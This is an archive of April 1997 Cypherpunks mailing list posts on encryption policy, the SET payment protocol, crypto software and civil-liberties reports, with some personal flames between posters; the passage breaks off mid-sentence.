hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Thu, 10 Apr 1997 13:43:50 -0700 (PDT) Subject: Reporters, Declan, Columns, Articles, and Angles Message-ID: <01BC45CF.1E139D40@crecy.ai.mit.edu> > >Nothing personal. I just get tired of hearing about "story angles" and > >"columns." Frankly, the only people I want to communicate with are those > >who take the time to read this and related lists....the sheeple who read > >about the Net in Time and Newsweek and their ilk are not worth > >communicating with. They will be spaded under. > > But what if Declan were writing for the Economist... I have a lot more respect for Duncan's style than certain Economist articles. A case in point was a little hatchet job some journo-hack did on Sorros' piece on the open society in the Atlantic monthly. I consider that Sorros has demopnstrated empirically a knowledge of markets that few economists and no journalists can claim to match yet the economist decided to have a go at him. In any case since the piece was principally about political philosophy the Economist interpretation was plain wrong. Phill From adam at homeport.org Thu Apr 10 14:08:04 1997 From: adam at homeport.org (Adam Shostack) Date: Thu, 10 Apr 1997 14:08:04 -0700 (PDT) Subject: Internet security code said vulnerable to hackers In-Reply-To: Message-ID: <199704102105.QAA24800@homeport.org> Robert Hettinga wrote: | Date: Thu, 10 Apr 1997 09:47:06 -0400 | From: "Joseph M. Reagle Jr." | To: Multiple recipients of | ATLANTA, April 9 (Reuter) - The new security protocol for | Steve Mott, senior vice president of electronic commerce | and new ventures for MasterCard International, said it could | take hackers as little as a year to break the industry's | standard encryption code, which is supposed to render | credit-card numbers unreadable to outsiders on the Internet's | World Wide Web. The security problem with SET is not its crypto, but its complexity, which makes it impossible to determine if the thing is secure or not. Its also a nightmare to implement, and was supposed to be ready six months ago. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From camcc at abraxis.com Thu Apr 10 14:15:12 1997 From: camcc at abraxis.com (Alec) Date: Thu, 10 Apr 1997 14:15:12 -0700 (PDT) Subject: [PGP-USERS] BestCryp NP Message-ID: <3.0.1.32.19970410171540.007ec650@smtp1.abraxis.com> >From: GWNapier at aol.com >Date: Thu, 10 Apr 1997 16:11:41 -0400 (EDT) >To: pgp-users at rivertown.net >Resent-Message-ID: <"h3W-hD.A.rVC.jmUTz"@rivertown> >Reply-To: pgp-users at rivertown.net > >To Fred and His Question About BestCrypt NP. I received this today and >thought it might be of interest. > >>Someone asked on the list about the possibility to transparently access >>encrypted data on a CD. SFS doesn't allow this, but I yesterday found >>a software for Windows 95 that does. > >>BestCrypt NP costs $115, the home page is www.jetico.sci.fi. >>They even have our Mr Peter Gutmann on their credits list. BestCrypt >>supports BlowFish, DES (boo) and GOST, a russian standard with >>256bit key. It supports all fixed, removable or networked media, >>allowing upto 6 "containers" be open simultaneously. > >>Although the company seems like Finnish, they don't speak Finnish and >>I don't get even a discount for telling you this :) Just thought some >>of you might be interested. > >>Jyrki Petsalo From camcc at abraxis.com Thu Apr 10 14:19:26 1997 From: camcc at abraxis.com (Alec) Date: Thu, 10 Apr 1997 14:19:26 -0700 (PDT) Subject: Pilots saw missile over NY Message-ID: <3.0.1.32.19970410172005.007efea0@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- April 10, 1997 Web posted at: 9:22 a.m. EDT (1322 GMT) ST. PAUL, Minnesota (Reuters) -- Northwest Airlines pilots reported that they saw what appeared to be a missile or a rocket over the New York area the evening of March 17, the Saint Paul Pioneer Press reported Thursday. In a copyrighted story, the Pioneer Press reported that investigators are piecing together tapes of air traffic control radar recorded the night of the sightings.... http://cnn.com/US/9704/10/missile.reut/index.html -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM01ZgiKJGkNBIH7lAQFH2QP+LolytyAkNpiKHD5bQgnOdDjnX7U2tV9f bKuCrbUQyppV58YslT7c0o72NmcSwB7TFll+F9gCsPKmpPjHkPc7ZTaWo/nIxrs1 YwRxqta1EKIlM4KtccMAh2XJezw9wNTtPUcStp8fH9EJYG/0kCyhjjE5J4xS5/KD BR1C0pLjZ1Y= =nd+d -----END PGP SIGNATURE----- From declan at well.com Thu Apr 10 14:23:02 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 10 Apr 1997 14:23:02 -0700 (PDT) Subject: Cato Institute report on Clinton's sad constitutional record Message-ID: >Date: Thu, 10 Apr 1997 16:57:56 -0400 >To: fight-censorship-announce at vorlon.mit.edu >From: Declan McCullagh >Subject: Cato Institute report on Clinton's sad constitutional record >Cc: >Bcc: >X-Attachments: > >In yesterday's mail I found a copy of a Cato Institute policy analysis by >Tim Lynch called "Dereliction of Duty: The Constitutional Record of >President Clinton." It's damming. Lynch lays bare Clinton's two-faced, >arrogant, downright hostile attitude towards civil liberties and, in a >word, freedom. > >Lynch concludes: "If constitutional report cards were handed out to >presidents, Bill Clinton would certainly receive an F--an appalling grade >for any president--let alone a former professor of constitutional law." >I've attached a few excerpts below. > >Also, in today's mail came a new book put out by Cato, "The Future of >Money in the Information Age," edited by James Dorn. I haven't read it >yet, but it looks promising. > >-Declan > >----------------------------- > >http://www.cato.org/pubs/pas/pa-271es.html > >DERELICTION OF DUTY >The Constitutional Record of President Clinton > >by Timothy Lynch > >Timothy Lynch is assistant director of the Cato >Institute's Center for Constitutional Studies. > >********* > >Executive Summary > >President Clinton recently put his hand on the Bible >and swore an oath to "preserve, protect and defend the >Constitution of the United States." He took the same >oath in January 1993. As the president embarks on his >second term in office, it is an appropriate time to >review his record thus far to see how well he has >defended our Constitution. > >Although President Clinton has expressed support for >an "expansive" view of the Constitution and the Bill >of Rights, he has actually weakened a number of >fundamental guarantees, including those of free speech >and the right to trial by jury and that against double >jeopardy. He has also supported retroactive taxes, gun >control, and warrantless searches and seizures. The >president's legal team is constantly pushing for >judicial rulings that will sanction expansions of >federal power. The Clinton White House has, for >example, supported the federalization of health care, >crime fighting, environmental protection, and >education. Clinton also claims constitutional >authority to order military attacks against other >countries whenever he deems it appropriate. President >Clinton's record is, in a word, deplorable. If >constitutional report cards were handed out to >presidents, he would receive an F. > >It is to be hoped that President Clinton will resolve >to be more conscientious about his constitutional >responsibilities in his second term. But should his >dereliction of duty continue, Congress and the Supreme >Court should stand fast against any constitutional >transgression. In the present climate, it is vitally >important for all Americans to understand that the >Constitution is incapable of enforcing itself. That >task ultimately rests with the citizenry. If the >American people demand adherence to the Constitution, >government officials, including President Clinton, >will respect the limitations that were wisely placed >on their power. > >********* > > >The Free Speech Clause > >The free speech clause of the First Amendment is, >without a doubt, the most famous provision of the >American Constitution. Its simple, yet profound, >command provides: "Congress shall pass no law . . . >abridging the freedom of speech." The underlying >principle of the free speech clause is that "each >person should decide for him or herself the ideas and >beliefs deserving of expression, consideration, and >adherence." [9] That principle has been recognized as >"one of the preeminent rights of Western democratic >theory, the touchstone of individual liberty." [10] >The invocation of the free speech guarantee, however, >is often controversial because it requires the >government and the citizenry to tolerate the speech >and writings of unpopular, crude, ignorant, and >malicious people. Civil libertarians must often remind >government officials (and others) that if the First >Amendment only protected the expression of popular and >agreeable ideas, it would be totally unnecessary since >those ideas would never be threatened by our >democratic form of government. Our society's >commitment to free speech is tested when we encounter >the expression of ideas that are disagreeable--or even >offensive. > >One would think that President Clinton, a former >professor of constitutional law, would have a deep >appreciation for the principle of freedom of speech, >but his official actions in office show just the >opposite. The Clinton Justice Department has attempted >to censor (a) the rights of peaceful protesters; (b) >the views of priests and doctors; (c) radio, >television, and the Internet; and (d) truthful >advertisements for lawful products. > >[...] > >The Ex Post Facto Clause > >The Framers of the Constitution detested the idea of >retroactive legislation. The Constitution contains two >specific prohibitions against ex post facto laws: >Article I, section 9, addresses Congress: "No . . . ex >post facto Law shall be passed." Article I, section >10, addresses state officials: "No State shall pass >any ex post facto Law." The Constitution contains no >exception to either prohibition. As Professor William >Winslow Crosskey of the University of Chicago once >observed, it is evident that ex post facto laws "were >thoroughly disapproved by the framers of the >Constitution and intended by them to be completely >impossible under our system." [44] > >Not only has President Clinton failed to defend the >prohibition of ex post facto laws; he encouraged the >103rd Congress to violate the prohibition. In the >summer of 1993 he urged Congress to levy a retroactive >tax on the American people. Under the president's >initial budget plan, income, corporate, gift, and >estate taxes were to be increased retroactively to >January 1, 1993--20 days before the president assumed >office. Never before in American history had a tax >been made retroactive to the time of a prior >administration. > >[...] > >The Warrant Clause > >The warrant clause of the Fourth Amendment, specifying >the conditions that must be met before officials may >search a person's home or seize papers and effects, >provides: "no [search] Warrants shall issue, but upon >probable cause, supported by Oath or affirmation, and >particularly describing the place to be searched, and >the person or things to be seized." The warrant clause >protects the citizenry from arbitrary searches by >requiring law enforcement personnel to obtain judicial >authorization before they demand entrance to any >person's home. The Supreme Court described the >constitutional importance of the warrant application >process in McDonald v. United States (1948). > >The presence of a search warrant serves a high >function. Absent some grave emergency, the Fourth >Amendment has interposed a magistrate between the >citizen and the police. This was done not to shield >criminals nor to make the home a safe haven for >illegal activities. It was done so that an objective >mind might weigh the need to invade that privacy in >order to enforce the law. The right of privacy was >deemed too precious to entrust to the discretion of >those whose job is the detection and the arrest of >criminals. Power is a heady thing; and history shows >that the police acting on their own cannot be trusted. >And so the Constitution requires a magistrate to pass >on the desires of the police before they violate the >privacy of the home. [50] > >The Clinton administration has repeatedly attempted to >play down the significance of the warrant clause. In >fact, President Clinton has asserted the power to >conduct warrantless searches, warrantless drug testing >of public school students, and warrantless >wiretapping. > >Warrantless "National Security" Searches > >The Clinton administration claims that it can bypass >the warrant clause for "national security" purposes. >In July 1994 Deputy Attorney General Jamie S. Gorelick >told the House Select Committee on Intelligence that >the president "has inherent authority to conduct >warrantless searches for foreign intelligence >purposes." [51] According to Gorelick, the president >(or his attorney general) need only satisfy himself >that an American is working in conjunction with a >foreign power before a search can take place. > >[...] > >Constitutional Federalism > >President Clinton is the first president in American >history to deny that the Constitution limits the >powers of the federal government. The Clinton White >House has sought to federalize health care, crime >fighting, environmental protection, and education. It >has also tried to thwart any effort to downsize >federal agencies and programs. Although the Washington >press corps has dutifully scrutinized the fledgling >efforts of the 104th Congress to breathe life into the >Tenth Amendment of the Constitution, which affirms >that the federal government has only limited powers, >the president's efforts to expand federal power have >received scant attention from a Tenth Amendment >perspective. By his official conduct as president, >Clinton has made it clear that he believes there is no >area of human activity that is beyond the >redistributive or regulatory reach of the federal >government and that the state governments essentially >operate at the sufferance of the national government. >Such a view contravenes the text, history, and >structure of our Constitution. > >[...] > >Conclusion > >As his first term of office drew to a close, Bill >Clinton proclaimed, "One of my highest goals as >President has been . . . to protect and uphold the >Constitution." [161] In light of the evidence set >forth in this study, it seems obvious that that >statement was simply a platitudinous throwaway line >that was completely devoid of substance. > >Supporters of the Clinton White House can point with >pride to a handful of presidential actions in defense >of constitutional rights--such as the signing of the >Religious Freedom Restoration Act and the Justice >Department's lawsuit against the Virginia Military >Institute on behalf of gender equality [162]--but >those acts were exceptions to the rule. Indeed, some >constitutionalists and civil liberties attorneys might >very well claim that this study does not go far enough >in its criticisms of the Clinton record. [163] >Although this study is not an exhaustive account of >every presidential action over the last four years, it >does present overwhelming evidence that Clinton has >been derelict in his duty to "protect and preserve" >our Constitution. If constitutional report cards were >handed out to presidents, Bill Clinton would certainly >receive an F--an appalling grade for any >president--let alone a former professor of >constitutional law. > >Perhaps Clinton will resolve to be more conscientious >about his constitutional responsibilities in his >second term. One can only hope that he will. But >should his dereliction of duty continue, Congress and >the Supreme Court should stand fast against any >constitutional transgression. > >All three branches of government--executive, >legislative, and judicial--should strive to be more >conscientious about meeting the responsibilities that >have been assigned to them under the Constitution. >Constitutional violations are frequently temporary, >isolated events. The most serious constitutional >violations occur when all three branches conspire to >expand the bounds of government power. When that >happens, it becomes very difficult to right the wrong. >Precedents are extremely important. That is why any >constitutional transgression by any branch is >alarming. > >The American people should jealously guard their >liberty and hold all government officials accountable >when they neglect or disregard the Constitution. Its >Framers were keenly aware that the ultimate source of >the Constitution's authority is the consent of the >people. If the American electorate demands adherence >to the Bill of Rights and the other provisions of our >Constitution, government officials will respect the >constitutional limitations on their power. But, as >Judge Learned Hand warned many years ago, "Liberty >lies in the hearts of men and women; [if] it dies >there, no constitution, no law, no court can save it." >[164] > >### > > From declan at well.com Thu Apr 10 15:27:09 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 10 Apr 1997 15:27:09 -0700 (PDT) Subject: Wassenaar Arrangement and public domain software Message-ID: The courier showed up, and I'm now at home changing in preparation for a soccer game (I'm part of a libertarian soccer team), but thought I'd post a brief note about the W.A. It says: "The Lists do not control 'software' which is either generally available to the public... or in the public domain." So what's the fuss about? Hmm.... -Declan From cynthb at sonetis.com Thu Apr 10 15:40:10 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Thu, 10 Apr 1997 15:40:10 -0700 (PDT) Subject: Reactionaries In-Reply-To: Message-ID: On Wed, 9 Apr 1997, Timothy C. May wrote: > At 5:55 PM -0400 4/9/97, Alec wrote: > > >At 01:32 PM 4/9/97 -0600, you wrote: > >|Timothy C. May wrote: > >| > >|> Let's not make the Cypherpunks firing squad a circle. > >| > >| Although Tim has been on the rag lately, perhaps this bit > >|of humor is a sign that his period (pardon the pun) of male > >|menopause is over. > > > >This sort of snide sexist humor has no place here. > > Agreed. Any neutral observer of the Cypherpunks list would have to conclude > there's a lot of _something_ going on here. Certain posters, whose names > are well known, seem infatuated with sexual innuendo. Assuming the source doesn't appear to *believe* that a particular group is inferior / superior by virtue of genitalia, race, etc.: if ($humour eq "distasteful") { cat $humour | in_one_ear | out_the_other; } get_on_with_life; > (And their innuendo is more often than not centered around homosexual themes.) > > Draw your own conclusions. "TruthMonger," for example, seems hung up on--no > pun intended--frequent repetitions of "bum buddies." Vulis is similarly > focussed on cocksuckers. Toto, who may or may not be Bubba Rom Dos, > TruthMonger, etc., based on style, is centered on many of these homosexual > themes. Just like pre-schoolers are hung up on bathroom jokes . Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From rah at shipwright.com Thu Apr 10 15:44:30 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 10 Apr 1997 15:44:30 -0700 (PDT) Subject: Japan E-Commerce Promotion Council on CAs Message-ID: --- begin forwarded text Mime-Version: 1.0 Date: Thu, 10 Apr 1997 11:44:59 -0700 From: jmuller at brobeck.com (John D. Muller) Subject: Japan E-Commerce Promotion Council on CAs To: dcsb at ai.mit.edu Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: jmuller at brobeck.com (John D. Muller) Press release Announcement of Certification Authority Guidelines in Japan ---------------------------------------------------------------------- -- Full Document 7th, April, 1997 Electronic Commerce Promotion Council of Japan ---------------------------------------------------------------------- -- 1. Background The Electronic Commerce Promotion Project partially funded by the Japanese government was started In late 1995 . The project consists of 19 test-bed projects which experimentally provide various kinds of electronic commerce between consumers and businesses. Currently over 350 companies participate in the projects and more than 500,000 consumers are presumed to have join. To foster Electronic Commerce(EC) in Japan, and also to support and coordinate these projects, the Electronic Commerce Promotion Council of Japan (ECOM) was established in early 1996. ECOM has set up 14 Working Groups to study a wide range of EC related issues. One of these Working Groups is the Certification Authority(CA) Working Group which focuses on the technology, practice, and legal environment of CA. One of objectives of this CA Working Group is to develop the CA Guidelines. The primary draft of the Guidelines was made public in the December 1996. 2. Objectives of the CA Guidelines CA Guidelines provide the foundation for the operation of CAs which issue digital certificates. A digital certificate, which electronically verifies the identity of business parties during network transactions, will play an important role in electronic commerce conducted via open networks. Digital certification guarantees the security of transaction information transmitted through networks, and information transmitted between organizations, within organizations and between individuals, by eliminating problems such as wiretapping, tampering or repudiation. This fosters the reliance and trust required to conduct business. 3. Structure of the CA Guidelines(Alpha Version) (1) Introduction This section first defines the basic terminology related to CAs, such as public keys, certificates, and revocation of certificates, etc. The section then deals with the following subjects concerning public key infrastructure, which can be regarded as the technological foundation of the guidelines: (1) certificate management service for issuance, publication, and storage of certificates, services relating to the registration and management of personal information, and electronic notary, etc. (2) hierarchical structure of CAs; (3) purpose of use and format of certificates. (2) Management requirements As management requirements are important for increasing the reliability of CAs, establishment and publication of policies relating to certification, requirements needed by organizations, operational security requirements, and information disclosure requirements are stipulated. Within the policy arena the establishment and presentation of provisions concerning the requirements for secure operation of equipment and facilities, and of provisions concerning standards for issuance of certificates are discussed. This section also stipulates that organizational requirements must specify independence, third party character and specialization. (3) Service requirements This section specifies requirements for guaranteeing security relating to five services that constitute the certificate management service, which is the basic service of CAs: management of the keys of CAs, issuance of certificates, registration and publicizing of certificates, storage and management of certificates, and revocation of certificates. For example, in view of the serious consequences of leakage or theft, private keys of CAs must be stored in an independent special module with high storage capacity, and in an environment that does not allow illegal removal of the storage module. Auditing of certificate issuance are also discussed. The personal verification of the applicant must be divided into three levels and that personal verifications should be conducted according to these levels. (4) Facilities and system requirements This section specifies that requirements conform to measures classified under group A of the "Information Systems Security Measures Standards," which were announced by MITI in August 1995 and the instruction manual was published by the Information Service Industry Association in October 1996. Group A requirements relate to information systems that affect people's lives, the property of others, privacy and other social elements. 4. Forthcoming Schedule ECOM is requesting that member companies and other relevant parties offer their comments regarding this guidelines draft. At the same time, the guidelines will be applied to the electronic commerce test-bed projects sponsored by MITI ( Ministry of International Trade & Industry), with the results of these test operations to be incorporated in the guidelines. The final version, based on opinions obtained from various sectors, is scheduled to be prepared and announced by March 1998. More information E-mail: tawara at ecom.or.jp FAX : +81-3-5531-0068 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From ericm at lne.com Thu Apr 10 16:03:08 1997 From: ericm at lne.com (Eric Murray) Date: Thu, 10 Apr 1997 16:03:08 -0700 (PDT) Subject: Internet security code said vulnerable to hackers In-Reply-To: <199704102105.QAA24800@homeport.org> Message-ID: <199704102301.QAA03947@slack.lne.com> Adam Shostack writes: > > Robert Hettinga wrote: > > | ATLANTA, April 9 (Reuter) - The new security protocol for > > | Steve Mott, senior vice president of electronic commerce > | and new ventures for MasterCard International, said it could > | take hackers as little as a year to break the industry's > | standard encryption code, which is supposed to render > | credit-card numbers unreadable to outsiders on the Internet's > | World Wide Web. > > The security problem with SET is not its crypto, but its > complexity, which makes it impossible to determine if the thing is > secure or not. Its also a nightmare to implement, and was supposed to > be ready six months ago. "Security through incomprehensibility". Set's problem, or one of them anyhow, is that it uses ASN.1. ASN.1 is useful for some things, but it really sucks as a description of a protocol. It is incredibly complex and figuring out the actual contents of a given message is very difficult. There is little description in the SET documents of the protocol itself; the definition is pretty much left up to the ASN.1. The ASN.1 by itself often fails to describe what is in an object, i.e. a gkThumb is an object of type CertThumb, which is defined in ASN.1 as: CertThumb ::= SEQUENCE { digestAlgorithm DAlgorithmIdentifier -- (sha1)--, thumbprint Digest } But the ASN.1 doesn't say what data is hashed in the Digest. So you have to flip back to the text and hope there's a description of what is hashed. Sometimes there is, sometimes there isn't. BTW, Set was the name of an old Egyptian god, the one who slew Osirius. Brewers' Dictionary of Phrase and Fable says under the entry for Set that he "came to be regarded as the incarnation of evil". -- Eric Murray ericm at lne.com Network security and encryption consulting. PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From dlv at bwalk.dm.com Thu Apr 10 16:22:10 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 10 Apr 1997 16:22:10 -0700 (PDT) Subject: Reporters, Declan, Columns, Articles, and Angles In-Reply-To: <01BC45CF.1E139D40@crecy.ai.mit.edu> Message-ID: <6Twy5D103w165w@bwalk.dm.com> "Phillip M. Hallam-Baker" writes: That's $3 for Sinn F\'ein. Thank you, Phil. P.S. Fuck your Queen. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From hallam at ai.mit.edu Thu Apr 10 16:31:17 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Thu, 10 Apr 1997 16:31:17 -0700 (PDT) Subject: Checkout the crypto in IE 4.0 Message-ID: <199704102331.TAA11621@life.ai.mit.edu> >Maybe people have already noticed but the pre-release IE 4.0 has >S/MIME encryption and signatures built in. I'm trying to set it up >as we speak. Just found an even more important cypherpunk feature. It has a kill file feature for both news and mail. Now if we could just get them to put Dimitri in as the default it would be fine. Phill -------------- next part -------------- A non-text attachment was scrubbed... Name: bin00000.bin Type: application/octet-stream Size: 1624 bytes Desc: "smime.p7s" URL: From Lynx_User at linux.nycmetro.com Thu Apr 10 17:06:26 1997 From: Lynx_User at linux.nycmetro.com (Lynx_User at linux.nycmetro.com) Date: Thu, 10 Apr 1997 17:06:26 -0700 (PDT) Subject: security_1.html Message-ID: <199704110007.UAA00575@linux.nycmetro.com> Reuters New Media [ Yahoo | Write Us | Search | Info ] [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard | Entertain | Health ] _________________________________________________________________ Previous Story: Digital TV Sets Off High-Definition Race Next Story: NTT Data, MCI To Start Internet Roaming Service _________________________________________________________________ Thursday April 10 10:03 AM EDT Internet Security Code Said Vulnerable To Hackers By David Morgan ATLANTA - The new security protocol for safeguarding credit-card transactions on the Internet may have to change because the underlying cryptography is too easy to hack through and too difficult to upgrade, an expert says. Steve Mott, senior vice president of electronic commerce and new ventures for MasterCard International, said it could take hackers as little as a year to break the industry's standard encryption code, which is supposed to render credit-card numbers unreadable to outsiders on the Internet's World Wide Web. For that reason, the consortium of technology companies and creditors that has spent two years developing the Secure Electronic Transaction (SET) protocol may switch to a faster encryption system called Elliptic Curve, which is produced by Certicom Corp. The first complete version of SET, known as SET 1.0, will be available to software makers June 1 with core cryptography provided by RSA Data Security, a unit of Security Dynamics Technologies. "RSA is a very good starting point. But we suspect that in a year or two, the Kevin Mitnicks of the world will start to figure out ways to hack it," Mott said. Mitnick is one of the most notorious computer hackers. "The only way you scale an RSA is to add a lot more bits. You add a lot more bits and it becomes more complex software in terms of the interaction of the transaction messages. That's part of what's taken SET so long to start with." MasterCard has been helping put together merchants with its own member banks for SET pilot projects in Denmark, Japan, Taiwan, South Africa and the United States. Mott told a news conference at the Internet Commerce Expo that the Elliptic Curve encryption system would make a better encryption core. In fact, he said it would have been chosen in the first place if developers had been known about it. "It will fit on a chip card. I think its 160 bits equals security to 1,024 bits of RSA," the credit industry executive said. "We anticipate putting it into some SET 1.0 pilots in the very near future this year in the U.S." Copyright, Reuters Ltd. All rights reserved _________________________________________________________________ ________________________ ___________ Help _________________________________________________________________ Previous Story: Digital TV Sets Off High-Definition Race Next Story: NTT Data, MCI To Start Internet Roaming Service _________________________________________________________________ [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard | Entertain | Health ] _________________________________________________________________ Reuters Limited Questions or Comments From dlv at bwalk.dm.com Thu Apr 10 18:10:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 10 Apr 1997 18:10:25 -0700 (PDT) Subject: Reactionaries In-Reply-To: Message-ID: <5k2y5D108w165w@bwalk.dm.com> "Cynthia H. Brown" writes: > On Wed, 9 Apr 1997, Timothy C. May wrote: > > > (And their innuendo is more often than not centered around homosexual theme > > > > Draw your own conclusions. "TruthMonger," for example, seems hung up on--no > > pun intended--frequent repetitions of "bum buddies." Vulis is similarly > > focussed on cocksuckers. Toto, who may or may not be Bubba Rom Dos, > > TruthMonger, etc., based on style, is centered on many of these homosexual > > themes. > > Just like pre-schoolers are hung up on bathroom jokes . Hung? Timmy May claims to have killfiled both myself and Toto. How does he know what we're writing about? Is he lying again? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From shabbir at democracy.net Thu Apr 10 18:53:43 1997 From: shabbir at democracy.net (Shabbir Safdar) Date: Thu, 10 Apr 1997 18:53:43 -0700 (PDT) Subject: EVENT! Rep. Anna Eshoo (D-CA) holds online town hall meeting April 16! Message-ID: <199704110153.VAA04158@panix3.panix.com> ========================================================================= _ _ __| | ___ _ __ ___ ___ ___ _ __ __ _ ___ _ _ _ __ ___| |_ / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __| | (_| | __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | | __/ |_ \__,_|\___|_| |_| |_|\___/ \___|_| \__,_|\___|\__, (_)_| |_|\___|\__| |___/ "Government Without Walls" _________________________________________________________________________ Update No.5 http://www.democracy.net/ April 10 1997 _________________________________________________________________________ Table of Contents - Join Silicon Valley Internet Policy Leader Anna Eshoo (D-CA) Live April 16. - Background on Rep. Eshoo - democracy.net statistics - About democracy.net ___________________________________________________________________________ JOIN SILICON VALLEY INTERNET POLICY LEADER ANNA ESHOO (D-CA) Live ONLINE! Representative Anna Eshoo (D-CA), walks point for Silicon Valley on Internet policy issues. Her career has been marked by outspoken positive positions on Internet policy, but also for her groundbreaking work of making the Internet a tool for servicing her constituents better. Rep. Eshoo will hold a live online interactive 'town hall meeting' at democracy.net on Wednesday April 16 at 8:30 pm Eastern (5:30 pm Pacific). The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be completely virtual. The discussion will be cybercast live via RealAudio, and listeners can join a simultaneous interactive chat discussion and pose questions to Rep. Eshoo. This is a unique opportunity for Internet users to discuss current Internet issues, including how Congress can better communicate with the public using the Internet, the chances for online speech legislation in the 105th Congress, Congress' agenda for encryption policy reform, and others. Details on the event, including instructions on how you can submit questions in advance, are attached below. ____________________________________________________________________________ INSTRUCTIONS ON HOW TO PARTICIPATE * Interactive Town Hall Meeting with Rep. Anna Eshoo (D-CA) * DATE: Wednesday, April 16, 1997 TIME: 5:30 pm Pacific / 8:30 pm Eastern LOCATION: http://www.democracy.net In advance of the town hall meeting, please visit http://www.democracy.net and fill out the form to ask Rep. Eshoo a question. We will collect the questions and forward them to the moderator on the day of the event, and will make every effort to ensure that questions from constituents are asked first. 1. Attend and ask Rep. Eshoo a question! Please mark this date in your calendar: Thursday April 16, 5:30PM Pacific at http://democracy.net/ 2. Get your friends and co-workers to join the discussion Members of Congress love to hear from their constituents. If you have friends that live in the district, please forward this invitation and encourage them to attend. 3. Make sure you have the right software To participate in the chat, you will need two pieces of software besides a Web browser. To listen to the _____________________________________________________________________________ BACKGROUND "We need to send a clear, unscrambled message to Washington that our nation's encryption policy needs to be reformed, and reformed now." -- Rep. Anna Eshoo (D-CA), SAFE Forum, July 1, 1996 Given the 14th District's concentration of high-tech industries, it is not surprising that Rep. Eshoo serves on the House Committee on Commerce. Her subcommittee assignments on this committee include the Subcommittee on Telecommunications, Trade, and Consumer Protection, as well as the Subcommittee on Health and the Environment. The Commerce Committee has policy making power over high technology, biotechnology, public health, and the environment. Through her seat on the Commerce Committee, Rep. Eshoo is well positioned to assist high technology interests in her district. She fought hard to ensure that securities litigation reform and telecommunications reform were signed into law. Rep. Eshoo has introduced the Online Parental Control Act to fight government censorship and encourage parents to use technology to control their children's access to online materials. She has led the fight to improve the Food and Drug Administration's product review process and played an instrumental role in securing the $238 million B Factory for the Stanford Linear Accelerator Center. In addition, Rep. Eshoo has pushed to loosen costly export controls on high technology products, make NASA contractors more liable for the costs of failing to comply with their contract requirements, and prevent government laboratories from competing with private industry. She also played a key role in stopping the Financial Accounting Standards Board from adopting a rule requiring businesses to charge stock options against earnings, a move which could have seriously curtailed the growth of small firms and start-up businesses, particularly in the high technology industry. Additional Information can be found at the following locations: * Rep. Anna Eshoo's Home Page -- http://www-eshoo.house.gov/ * democracy.net Page -- http://www.democracy.net/ _______________________________________________________________________________ DEMOCRACY.NET STATISTICS In the two weeks following the original Pro-CODE cybercast hearing, over eight times as many people (804) listened to the RealAudio archive than could have fit into the room at the hearing itself! The hearing transcript continues to be extremely popular, with the testimony of Jim Barksdale (CEO, Netscape) and Louis Freeh (Director, FBI) counting as the two most popular hearing witnesses to listen to. Over a quarter of our visitors to the hearing archives stop to listen to Barksdale and Freeh's takes on the encryption debate. Whether you're a concerned citizen who can't get to Washington, a student researching the topic of privacy, or a reporter just following the debate, these archives are here for you. You can experience Government Without Walls at the March 19th hearing cybercast archive at http://www.democracy.net/. _______________________________________________________________________________ ABOUT DEMOCRACY.NET The democracy.net is a joint project of the Center for Democracy and Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore ways of enhancing citizen participation in the democratic process via the Internet. To this end, democracy.net will host live, interactive cybercasts of Congressional Hearings and online town hall meetings with key policy makers. democracy.net is made possible through the generous support of WebActive, Public Access Networks, the Democracy Network, and DIGEX Internet. More information about the project and its sponsors can be found at http://www.democracy.net/about/ To receive democracy.net announcements automatically, please visit our signup form at http://www.democracy.net/ _____________________________________________________________________________ End update no.5 04/10/1997 ============================================================================= From harka at nycmetro.com Thu Apr 10 19:30:56 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Thu, 10 Apr 1997 19:30:56 -0700 (PDT) Subject: store your private ke Message-ID: -----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:bryce at digicash.com to Harka <=- In> The non-cpunks that I talk to frequently say that "no bad guys In> would bother to read my e-mail". This is a pretty good assumption, In> because it takes into account (as the cpunks themselves frequently In> fail to do) that there is a _cost_ to illicitly reading e-mail, and In> that as long as the value of reading your private e-mail is less than In> the cost of reading it, you can consider yourself safe. Another point, that most PGP-"uninitiated" (challenged? :)) people fail to 